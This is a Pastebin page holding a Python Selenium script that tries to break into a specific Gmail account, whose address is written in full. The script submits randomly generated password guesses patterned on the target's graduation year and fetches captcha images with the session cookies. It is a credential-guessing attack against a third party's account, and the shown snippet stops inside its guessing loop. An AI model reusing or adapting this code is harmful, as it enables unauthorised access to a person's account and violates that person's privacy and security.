Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import random
- import string
- import time
- from selenium import webdriver
- import requests
- import ast
- # email = input("input users email:")
- email = ("malcolmmcdaniel@gmail.com")
- grad = input("input the year that they graduate:")
- grad = grad[2:]
- dic = {}
- num = 0
- a = 0
- #8915776
- check = False
- browser = webdriver.Chrome('/Users/mal/Downloads/chromedriver')
- url = ('https://accounts.google.com/ServiceLogin?passive=1209600&sacu=1&ignoreShadow=0#Email='+email)
- browser.get(url)
- def username(email):
- a=browser.find_element_by_xpath('//*[@id="identifierNext"]')
- a.click()
- time.sleep(1)
- username(email)
- current = browser.current_url
- while True:
- # try:
- if a == 0:
- captcha = browser.find_element_by_xpath('//*[@id="captchaimg"]')
- img = captcha.get_attribute('src')
- if img != None:
- a = 1
- check = True
- print('there is captcha')
- print(str(img))
- if num == 3:
- break
- stuff = (random.choice(string.ascii_uppercase) + (''.join(random.choice(string.ascii_lowercase) for x in range(6)) + str(grad)))
- if stuff not in dic:
- if check:
- cookie_payload = browser.get_cookies()
- cookie_payload = dict(cookie_payload[0])
- cookie_payload = cookie_payload
- r = requests.Session()
- r.headers.update({'Host' : 'accounts.google.com'})
- r.headers.update({'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36'})
- r.headers.update({'Accept' : 'image/webp,/'})
- r.headers.update({'Accept-Language' : 'en-US,en;q=0.5'})
- r.headers.update({'Accept-Encoding' : 'gzip, deflate, br'})
- r.headers.update({'Referer' : 'https'})
- r.headers.update({'DNT' : '1'})
- r.headers.update({'Connection' : 'keep-alive'})
- r.headers.update({'Cookie' : 'GAPS=1'})
- r.headers.update({'TE' : 'Trailers'})
- x = r.get(str(img),cookies=str(cookie_payload))
- with open('data.jpg', 'w+') as fp:
- fp.write(x.content)
- fp.close()
- b = browser.find_element_by_xpath('//*[@id="password"]/div[1]/div/div[1]/input')
- c = browser.find_element_by_xpath('//*[@id="passwordNext"]')
- b.send_keys(stuff)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement